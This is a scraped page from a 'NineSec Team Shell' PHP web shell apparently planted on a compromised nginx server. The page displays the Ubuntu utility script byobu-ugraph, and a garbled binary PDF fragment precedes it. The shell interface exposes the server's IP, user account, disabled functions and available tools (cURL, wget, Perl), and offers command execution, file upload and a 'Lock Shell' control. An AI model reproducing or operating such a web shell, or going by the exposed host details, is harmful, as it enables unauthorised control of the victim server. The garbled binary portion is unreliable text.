%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.6
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /bin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //bin/byobu-ugraph
#!/bin/bash
#---------------------------------------------------------------------
# Script to display a byobu notification "history graph".
#
# Designed to work with the wonderful byobu(1) but can be run
# stand-alone.
#---------------------------------------------------------------------
#
# Copyright (C) 2011 Canonical Ltd.
#
# Author: James Hunt <james.hunt@canonical.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
#---------------------------------------------------------------------

PKG="byobu"
[ -r "$HOME/.byoburc" ] && . "$HOME/.byoburc"
[ -z "${BYOBU_PREFIX}" ] && export BYOBU_PREFIX="/usr" || export BYOBU_PREFIX
. "${BYOBU_PREFIX}/lib/${PKG}/include/common"

script_name=${0##*/}
min_default=0
max_default=100
points_default=5
theme_default=vbars_8
newline="\n"
rotate=y

error()
{
  msg="$*"
  echo "ERROR: $msg" >&2
}

die()
{
  error "$*"
  exit 1
}

usage()
{
cat <<EOT
Description: Display a graph of historical indicator values using
             byobu-ulevel.

Usage: $script_name [options] [command [args...]]

Options:

 -f <file>   : File to read data points from.
               (only required if no command specified).
 -h          : Show this help.
 -m <num>    : Minimum value (default=$min_default).
 -n          : Supress output of newline character.
 -p <points> : Specify number of data points in graph
               (default=$points_default).
 -r          : Do not rotate file <file> (default is to rotate).
               Option implies file <file> should not be written to
               so a command cannot follow script options in this case.
 -t <theme>  : 'byobu-ulevel' theme to use (default=$theme_default).
 -x <num>    : Maximum value (default=$max_default).


Examples:

  Using $script_name to run a command, rotate log and display graph.

  Here we specify a command to display available memory.
  Trailing echo adds a required newline
  Note no filename specified.

    $script_name "(/usr/lib/byobu/mem_used | sed -e 's/% //g';echo)"


  Using $script_name just to rotate log and display the graph

    file=/tmp/load.dat
    awk '{ print \$1}' /proc/loadavg >> \$file
    # Note: we need to specify what we consider to be a "reasonable" maximum load
    $script_name -m 3.0 -f \$file

Notes:

  - If you specify 'command', care must be taken with shell quoting to
    avoid expansion prior to this script running the command.
  - If '-r' is not specified, the file <file> will be rotated such that
    at most <points> lines are retained on each invocation of this
    script.

EOT
}

get_data()
{
  needed_lines=$points

  if [ ! -f $file ]
  then
    return
  fi

  lines=$(wc -l $file|awk '{print $1}')

  if [ $lines -lt $needed_lines ]
  then
    # insufficient data
    return
  fi

  bytes=$(<${file})
  bytes=$(echo "$bytes"|tail -n ${needed_lines})
  [ $lines -eq $needed_lines -o $rotate = n ] && echo "$bytes" && return

  # rotate
  tmp=`tempfile`
  echo "$bytes" > $tmp
  mv $tmp $file

  echo "$bytes"
}

while getopts "f:hm:np:rt:x:" opt
do
  case "$opt" in
    f)
      file="$OPTARG"
    ;;

    h)
      usage
      exit 0
    ;;

    m)
      min=$OPTARG
    ;;

    n)
      newline=
    ;;

    p)
      points=$OPTARG
    ;;

    r)
      rotate=n
    ;;

    t)
      theme="$OPTARG"
    ;;

    x)
      max=$OPTARG
    ;;
  esac
done

shift $[$OPTIND-1]

cmd="$@"

[ -z "$theme" ] && theme=$theme_default

if [ -z "$cmd" ]
then
  if [ -z "$file" ]
  then
    error "must specify file"
    usage
    exit 1
  fi
fi

if [ -z "$file" ]
then
  # we could go cryptic+safe by calling tempfile(1), but that then
  # makes it very difficult to find in case of need.
  file=/tmp/${USER}-${script_name}-$$.dat
fi

[ -z "$min" ]    && min=$min_default
[ -z "$max" ]    && max=$max_default
[ -z "$points" ] && points=$points_default

if [ ! -z "$cmd" ]
then
  if [ $rotate = n ]
  then
    error "cannot write to file if rotate disabled"
    usage
    exit 1
  fi

  eval "$cmd >>$file"
fi

data=$(get_data)

[ -z "$data" ] && printf "%*.s${newline}" $points && exit 0

for datum in $data
do
  byobu-ulevel -n -m $min -x $max -p -c $datum -t $theme
done

NineSec Team - 2022